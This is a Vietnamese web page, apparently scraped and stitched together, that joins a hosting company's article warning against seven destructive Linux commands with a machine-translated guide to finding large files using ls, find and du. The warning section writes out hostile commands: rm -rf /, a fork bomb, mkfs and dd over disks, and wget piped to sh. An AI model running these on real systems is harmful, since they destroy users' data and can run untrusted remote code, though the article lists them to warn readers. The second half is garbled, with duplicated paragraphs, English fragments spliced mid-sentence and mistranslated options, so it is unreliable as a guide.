Top 10 đĩa sử dụng linux năm 2022

Nội dung

  • Tổng hợp 7 lệnh cấm đừng chạy trên Linux
    • 1. Terminal – mạnh mẽ nhưng nguy hiểm
    • 2. Tổng hợp 7 câu lệnh cấm kỵ không nên sử dụng trên Linux
      • Câu lệnh cấm kỵ 1: xoá mọi thứ [kể cả hệ điều hành]
      • Câu lệnh cấm kỵ 2: :[]{ :|: & };: – Fork Bomb
      • Câu lệnh cấm kỵ 3: Định dạng lại ổ đĩa cứng
      • Câu lệnh cấm kỵ 4: Ghi trực tiếp vào ổ đĩa cứng
      • Câu lệnh cấm kỵ 5: Xả rác vào ổ đĩa cứng
      • Câu lệnh cấm kỵ 7: Download và chạy Script từ web

Sẽ rất nguy hiểm nếu bạn không biết đến các lệnh cấm nguy hiểm trong bài viết dưới đây dù bạn là người sử dụng Linux lâu năm hay vừa mới sử dụng thì cũng nên đọc qua bài này.

Linux là hệ điều hành mã nguồn mở không giới hạn. Đồng nghĩa với việc bạn có thể làm mọi thứ trên Linux với giao diện dòng lệnh Terminal. Terminal là cửa sổ dòng lệnh làm nên tên tuổi của hệ điều hành này. Bạn có thể làm mọi thứ với Terminal từ việc viết code, dò lỗi, hack… Cửa sổ này sẽ giúp bạn thực thi mọi câu lệnh mà bạn muốn. Thậm chí bạn có thể tự tay xoá luôn cả hệ điều hành Linux chỉ với vài lệnh được gõ vào Terminal.

1. Terminal – mạnh mẽ nhưng nguy hiểm

Terminal sẽ nhanh chóng thực thi câu lệnh của bạn ngay sau khi ấn Enter mà không cần xác nhận gì. Điều đó làm nó trở nên mạnh mẽ và cũng nguy hiểm không lường. Hãy thử tưởng tượng nếu một câu lệnh có khả năng gây hại cho máy bạn được gõ vào và chạy trên Terminal?

Hậu quả là không thể lường trước được, bởi vì Terminal chỉ nhận lệnh và chạy. Nó không cần biết câu lệnh đó có gây hại cho chủ nhân nó hay là không? Nếu bạn sử dụng Linux bạn cần biết 7 câu lệnh sau đây để tránh trường hợp tự làm hại chính mình nhé !!

2. Tổng hợp 7 câu lệnh cấm kỵ không nên sử dụng trên Linux

Trên hệ điều hành Ubuntu, câu lệnh sẽ được chạy với quyền admin nếu có từ khoá sudo trước đó. Nhưng trên Linux thì mọi câu lệnh luôn được chạy với quyền quản trị. Do đó chúng ta cần phải lưu ý kỹ các lệnh để tránh tự làm hại máy của mình.

Ngoài ra để hiểu thêm về OS Linux các bạn có thể tham khảo bài viết : Kiến trúc của hệ điều hành Linux hoặc các vấn đề liên quan đến Linux tại đây

Câu lệnh cấm kỵ 1: xoá mọi thứ [kể cả hệ điều hành]

rm -rf /

Nếu bạn gõ vào Terminal lệnh rm -rf / sẽ đồng nghĩa với việc xoá tất cả mọi thứ hiện tại trên máy tính. Câu lệnh này sẽ được hiểu như sau:

  • rm là từ khoá đại diện cho hành động cần xoá một thứ gì đó.
  • -rf là cụm từ ám chỉ câu lệnh rm ở trên chạy và xoá sạch các File và Folders bên trong nơi được chỉ định.
  • / Nếu bạn không ghi gì sau dấu / thì Linux sẽ hiểu là bắt đầu chọn từ gốc [đồng nghĩa với mọi thứ].

Do đó khi bạn chạy câu lệnh này thì Linux sẽ bắt đầu xoá tất cả các file được chỉ định từ ngoài vào trong. Ổ cứng của bạn sẽ bị dọn sạch sẽ [bao gồm luôn các file hệ thống].

Câu lệnh cấm kỵ 2: :[]{ :|: & };: – Fork Bomb

Câu lệnh này tuy trông đơn giản nhưng cực kỳ nguy hiểm nếu bạn không biết.

:[]{ :|: & };:

Khi lệnh này được thực thi nó sẽ tự gọi lại hàm shell để tự tạo lại chính nó. Đây giống như một con virus tự copy chính nó và sinh sản ra thêm nhiều con khác. RAM và CPU máy tính của bạn sẽ bị quá tải và gây treo máy. Đây là nền tảng cơ bản mô phỏng cho một cuộc tấn công DDOS.

Câu lệnh cấm kỵ 3: Định dạng lại ổ đĩa cứng

Câu lệnh này cũng đơn giản và nguy hiểm không kém, và nó cũng rất dễ hiểu.

mkfs.ext4 /dev/sda1

  • mkfs.ext4 sẽ tạo ra một file hệ thống dạng ext4 mới trên thiết bị của bạn.
  • /dev/sda1 – Lệnh này chỉ định phân vùng đầu tiên [phân vùng chính] trên ổ đĩa của bạn.

Khi chạy lệnh, nó sẽ xoá hết dữ liệu trong phân vùng đầu tiên của ổ đĩa và thế vào đó một file định dạng phân vùng mới. Tuy nhiên, câu lệnh này cũng có thể được tuỳ biến lại thành mkfs.ext3 /dev/sdb2 để định dạng phân vùng thứ 2 trong ổ đĩa. Việc định dạng này sẽ làm ổ đĩa mất toàn bộ dữ liệu và không thể phục hồi.

Câu lệnh cấm kỵ 4: Ghi trực tiếp vào ổ đĩa cứng

Câu lệnh này cũng hoạt động gần giống câu lệnh ở trên. Nó sẽ gửi dữ liệu đầu ra đến phân vùng đầu tiên của ổ cứng và ghi đè lên đó. Điều này sẽ làm hỏng các File hệ thống của bạn, có thể làm hỏng luôn cả hệ điều hành nên hãy cẩn thận.

command > /dev/sda

Câu lệnh này sẽ được hiểu như sau:

  • command – Thực thi câu lệnh
  • > Gửi dữ liệu đầu ra đến môt nơi được chỉ định.
  • /dev/sda Ghi đè dữ liệu đầu ra lên ổ đĩa cứng.

Câu lệnh cấm kỵ 5: Xả rác vào ổ đĩa cứng

dd if=/dev/random of=/dev/sda

Khi chạy lệnh dd if=/dev/random of=/dev/sda sẽ khiến dữ liệu trong ổ đĩa cứng của bạn bị phân tán. Điều này sẽ dẫn đến nhiều File rác. Câu lệnh này được hiểu như sau:

  • dd – Copy dữ liệu từ nơi này sang nơi khác ở mức độ thấp [copy một phần].
  • if=/dev/random – Tạo ngẫu nhiên dữ liệu đầu ra. Bạn cũng sẽ thấy một số phân vùng khác được tạo ra như /dev/zero…
  • of=/dev/sda – Ghi dữ liệu vào phân vùng đầu tiên của ổ đĩa và ghi đè các file được chỉ định ngẫu nhiên.

Câu lệnh cấm kỵ 6: Chuyển Phân vùng Home vào hố đen

Phân vùng /dev/null là một phân vùng đặc biệt tồn tại ẩn và không thể tìm thấy [giống như hố đen]. Di chuyển bất cứ File nào vào đây cũng đồng nghĩa việc tự huỷ file đó. Để thực hiện việc này bạn cần chạy lệnh như sau:

mv ~ /dev/null

  • mv – di chuyển tệp hoặc thư mục đến một phân vùng khác.
  • ~ – Đại diện cho toàn bộ phân vùng Home của hệ thống
  • /dev/null – Giống như hố đen mình nói ở trên, di chuyển thư mục vào đây đồng nghĩa với việc tự huỷ nó.

Câu lệnh cấm kỵ 7: Download và chạy Script từ web

Câu lệnh này sẽ truy cập tới một trang web. Nếu trang web đó chứa một đoạn Script mà Linux có thể hiểu thì nó sẽ chạy đoạn Script đó. Đây cũng là cách người khác có thể tấn công và phá huỷ hệ điều hành Linux của bạn trong tích tắc.

wget //example.com/something -O – | sh –

  • wget – Download một file nào đó từ một đĩa chỉ web được chỉ định.
  • //example.com/something – Trang web mà lệnh wget sẽ download

HƠN 20 NĂM KINH NGHIỆM

P.A Việt Nam tiên phong trong thị trường Internet & Web.
Là nhà đăng ký tên miền lớn nhất Việt Nam.
Chuyên nghiệp trong lĩnh vực Tên miền, Lưu trữ Website.
Email, Máy Chủ, Thiết kế Web.

P.A Việt Nam cung cấp đa dạng các cấu hình Máy Chủ Ảo và Máy Chủ Riêng
Cloud Server
Cloud Server Pro
Máy Chủ Riêng

Tham khảo các ưu đãi: //www.pavietnam.vn/vn/tin-khuyen-mai/

Tất cả chúng tôi đã đến điểm đó trên một hệ thống nhất định, nơi chúng tôi bắt đầu hết dung lượng lưu trữ. Chúng ta có mua thêm lưu trữ, có lẽ là một trong những SSD tốt nhất hay chúng ta tìm kiếm và tìm các tệp lớn nhất một cách nhanh chóng? Trong cách này, chúng tôi sẽ xem xét một vài cách tiếp cận đơn giản để giúp chúng tôi duy trì và quản lý các hệ thống tập tin của mình.

Tất cả các lệnh trong bài viết này sẽ hoạt động trên hầu hết các máy Linux. Chúng tôi đã sử dụng cài đặt Ubuntu 20.04 nhưng bạn có thể chạy cách thực hiện trên Raspberry Pi. Tất cả các cách làm được thực hiện thông qua thiết bị đầu cuối. Nếu bạn chưa ở dòng lệnh, bạn có thể mở một cửa sổ đầu cuối trên hầu hết các máy Linux bằng cách nhấn Ctrl, Alt và T.

Liệt kê các tệp theo thứ tự kích thước bằng lệnh LS trong Linux

[Tín dụng hình ảnh: Phần cứng của Tom]

Lệnh LS được sử dụng để liệt kê nội dung của một thư mục trong Linux. Bằng cách thêm đối số -LS, chúng tôi có thể & nbsp; đặt hàng kết quả được trả về theo kích thước tệp. Chúng tôi đã sao chép một bộ sưu tập các tệp vào một thư mục thử nghiệm để hiển thị lệnh này nhưng nó có thể được chạy trong bất kỳ thư mục nào bạn chọn.

Để liệt kê nội dung thư mục theo thứ tự kích thước tệp giảm dần, hãy sử dụng lệnh LS cùng với đối số -is. Bạn sẽ thấy các tệp lớn hơn ở đầu danh sách giảm xuống các tệp nhỏ nhất ở phía dưới.ls command along with the -IS argument. You will see the larger files at the top of the list descending to the smallest files at the bottom.

ls -lS

Mặc dù lệnh này hữu ích để xem, nhưng nó thiếu kích thước thực tế của các tệp, vậy làm thế nào chúng ta có thể xác định các tệp lớn nhất trong Linux và hiển thị kích thước của chúng?

Xác định các tệp lớn hơn một kích thước được chỉ định trong Linux

[Tín dụng hình ảnh: Phần cứng của Tom]

Lệnh LS được sử dụng để liệt kê nội dung của một thư mục trong Linux. Bằng cách thêm đối số -LS, chúng tôi có thể & nbsp; đặt hàng kết quả được trả về theo kích thước tệp. Chúng tôi đã sao chép một bộ sưu tập các tệp vào một thư mục thử nghiệm để hiển thị lệnh này nhưng nó có thể được chạy trong bất kỳ thư mục nào bạn chọn.

Để liệt kê nội dung thư mục theo thứ tự kích thước tệp giảm dần, hãy sử dụng lệnh LS cùng với đối số -is. Bạn sẽ thấy các tệp lớn hơn ở đầu danh sách giảm xuống các tệp nhỏ nhất ở phía dưới.Use find to search for any file larger than 100MB in the current directory. We are working inside our test directory and the “.” indicates to search the current directory. The -type f argument specifies returning files as results. Finally the +100M argument specifies that the command will only return files larger than 100MB in size. We only have one file in our test folder Baby_Yoda.obj that is larger than 100MB.

find . -type f -size +100M

Mặc dù lệnh này hữu ích để xem, nhưng nó thiếu kích thước thực tế của các tệp, vậy làm thế nào chúng ta có thể xác định các tệp lớn nhất trong Linux và hiển thị kích thước của chúng?Use the same command, but this time specify a path to search. We can run the same command as in the previous section but replace the “.” with a specified path. This means we can search the test directory from the home directory.

cd
find ./test -type f -size +100M

Xác định các tệp lớn hơn một kích thước được chỉ định trong Linux

[Tín dụng hình ảnh: Phần cứng của Tom]

Lệnh LS được sử dụng để liệt kê nội dung của một thư mục trong Linux. Bằng cách thêm đối số -LS, chúng tôi có thể & nbsp; đặt hàng kết quả được trả về theo kích thước tệp. Chúng tôi đã sao chép một bộ sưu tập các tệp vào một thư mục thử nghiệm để hiển thị lệnh này nhưng nó có thể được chạy trong bất kỳ thư mục nào bạn chọn.

Để liệt kê nội dung thư mục theo thứ tự kích thước tệp giảm dần, hãy sử dụng lệnh LS cùng với đối số -is. Bạn sẽ thấy các tệp lớn hơn ở đầu danh sách giảm xuống các tệp nhỏ nhất ở phía dưới.Open a terminal.

Mặc dù lệnh này hữu ích để xem, nhưng nó thiếu kích thước thực tế của các tệp, vậy làm thế nào chúng ta có thể xác định các tệp lớn nhất trong Linux và hiển thị kích thước của chúng?Search the current filesystem for files larger than 100MB. As we are invoking root privileges using sudo we will need to input our password. Note that we are using / to set the command to search the entire filesystem from the root of the filesystem.

sudo find / -xdev -type f -size +100M

Xác định các tệp lớn hơn một kích thước được chỉ định trong LinuxSearch all filesystems for files larger than 100MB. For this example connect a USB drive with a collection of files on it including some that are over 100MB in size. You should be able to scroll through the returned results and see that the larger files on the pen drive have been included in the results.

sudo find / -type f -size +100M

Trong một bài viết khác, chúng tôi đã giải thích cách tìm các tệp trong Linux bằng cách sử dụng lệnh Find để tìm kiếm dựa trên tên tệp hoặc một phần của tên tệp. Chúng ta cũng có thể sử dụng lệnh Find kết hợp với đối số kích thước chỉ định ngưỡng kích thước trong đó bất kỳ tệp nào lớn hơn quy định sẽ được trả về. \

1. Sử dụng Tìm để tìm kiếm bất kỳ tệp nào lớn hơn 100MB trong thư mục hiện tại. Chúng tôi đang làm việc bên trong thư mục thử nghiệm của chúng tôi và những người khác. chỉ ra để tìm kiếm thư mục hiện tại. Đối số f -type F chỉ định các tệp trả về làm kết quả. Cuối cùng, đối số +100m chỉ định rằng lệnh sẽ chỉ trả về các tệp có kích thước lớn hơn 100MB. Chúng tôi chỉ có một tệp trong thư mục thử nghiệm của chúng tôi baby_yoda.obj lớn hơn 100MB.

Để liệt kê nội dung thư mục theo thứ tự kích thước tệp giảm dần, hãy sử dụng lệnh LS cùng với đối số -is. Bạn sẽ thấy các tệp lớn hơn ở đầu danh sách giảm xuống các tệp nhỏ nhất ở phía dưới.Open a terminal.

Mặc dù lệnh này hữu ích để xem, nhưng nó thiếu kích thước thực tế của các tệp, vậy làm thế nào chúng ta có thể xác định các tệp lớn nhất trong Linux và hiển thị kích thước của chúng?Use the du command to search all files and then use two pipes to format the returned data.

Xác định các tệp lớn hơn một kích thước được chỉ định trong Linux

Trong một bài viết khác, chúng tôi đã giải thích cách tìm các tệp trong Linux bằng cách sử dụng lệnh Find để tìm kiếm dựa trên tên tệp hoặc một phần của tên tệp. Chúng ta cũng có thể sử dụng lệnh Find kết hợp với đối số kích thước chỉ định ngưỡng kích thước trong đó bất kỳ tệp nào lớn hơn quy định sẽ được trả về. \

1. Sử dụng Tìm để tìm kiếm bất kỳ tệp nào lớn hơn 100MB trong thư mục hiện tại. Chúng tôi đang làm việc bên trong thư mục thử nghiệm của chúng tôi và những người khác. chỉ ra để tìm kiếm thư mục hiện tại. Đối số f -type F chỉ định các tệp trả về làm kết quả. Cuối cùng, đối số +100m chỉ định rằng lệnh sẽ chỉ trả về các tệp có kích thước lớn hơn 100MB. Chúng tôi chỉ có một tệp trong thư mục thử nghiệm của chúng tôi baby_yoda.obj lớn hơn 100MB.

2. Sử dụng cùng một lệnh, nhưng lần này chỉ định một đường dẫn để tìm kiếm. Chúng ta có thể chạy cùng một lệnh như trong phần trước nhưng thay thế các trò chơi. với một đường dẫn cụ thể. Điều này có nghĩa là chúng tôi có thể tìm kiếm thư mục thử nghiệm từ thư mục nhà.

Tìm kiếm toàn bộ hệ thống tập tin Linux cho các tệp lớn & nbsp;

sudo du -aBm / 2>/dev/null | sort -nr | head -n 10

Nó đôi khi hữu ích để tìm kiếm toàn bộ hệ thống tập tin Linux cho các tệp lớn. Chúng tôi có thể có một số tệp ẩn trong thư mục nhà của chúng tôi cần xóa. Để tìm kiếm toàn bộ hệ thống tập tin, chúng ta sẽ cần sử dụng lệnh với sudo. Chúng tôi cũng có thể muốn giới hạn tìm kiếm đối với hệ thống tập tin hiện tại có thể đạt được thông qua đối số -xdev, ví dụ khi chúng tôi nghi ngờ các tệp chúng tôi tìm kiếm trong hệ thống tập tin chính hiện tại của chúng tôi hoặc chúng tôi có thể chọn không thêm đối số -xdev mà Sau đó, sẽ bao gồm các kết quả từ các hệ thống tập tin được gắn khác, ví dụ như ổ USB đính kèm.Press Enter to run the command. It will take a little time to run as it needs to check every directory of the filesystem. Once complete it will return the top ten largest files / directories, their sizes and locations.

[Tín dụng hình ảnh: Phần cứng của Tom]

Với bộ sưu tập các lệnh này, bạn có một số cách để xác định và xác định vị trí các tệp lớn trong Linux. Nó cực kỳ hữu ích để có thể làm điều này khi bạn cần nhanh chóng chọn các tệp lớn để xóa để giải phóng các tài nguyên hệ thống quý giá của bạn. Như mọi khi, hãy cẩn thận khi chọc vào hệ thống tập tin của bạn để đảm bảo bạn không xóa một cái gì đó quan trọng!

  • Làm quen với hệ thống tập tin Linux
  • Cách kiểm tra việc sử dụng đĩa trong Linux
  • Cách tìm tệp trong Linux
  • Cách quản lý người dùng trong Linux

Làm cách nào để tìm thấy 10 lần sử dụng đĩa Linux hàng đầu của tôi?

Linux tìm tập tin lớn nhất trong thư mục sử dụng tìm kiếm..
Mở ứng dụng thiết bị đầu cuối ..
Đăng nhập với tư cách là người dùng gốc bằng lệnh sudo -i ..
Loại du -a / dir / | Sắp xếp -n -r | đầu -n 20 ..
DU sẽ ước tính sử dụng không gian tệp ..
Sắp xếp sẽ sắp xếp đầu ra của lệnh DU ..
Head sẽ chỉ hiển thị 20 tệp lớn nhất trong /dir /.

Làm cách nào để tìm thấy kích thước tệp 10 trong Linux?

DU Lệnh -H Tùy chọn: Kích thước hiển thị ở định dạng có thể đọc được của con người [ví dụ: 1K, 234m, 2G].Tùy chọn DU Command -S: Nó chỉ hiển thị tổng số cho mỗi đối số [tóm tắt].DU Lệnh -X Tùy chọn: Bỏ qua các thư mục trên các hệ thống tệp khác nhau.Sắp xếp lệnh -R Tùy chọn: Đảo ngược kết quả so sánh. : Display sizes in human readable format [e.g., 1K, 234M, 2G]. du command -s option : It shows only a total for each argument [summary]. du command -x option : Skip directories on different file systems. sort command -r option : Reverse the result of comparisons.

Lệnh nào sẽ hiển thị 10 lần sử dụng đĩa Top 10?

Lệnh DU, viết tắt để sử dụng đĩa, được sử dụng để ước tính việc sử dụng không gian tệp., short for disk usage, is used to estimate file space usage.

Làm cách nào để tìm thấy 5 thư mục hàng đầu trong Linux?

Làm thế nào để tìm các tập tin và thư mục lớn nhất trong Linux..
Lệnh DU: Ước tính sử dụng không gian tệp ..
A: Hiển thị tất cả các tệp và thư mục ..
Sắp xếp lệnh: Sắp xếp các dòng tệp văn bản ..
-N: So sánh theo giá trị số chuỗi ..
-R: Đảo ngược kết quả so sánh ..
Đầu: xuất phần đầu tiên của các tệp ..

Chủ Đề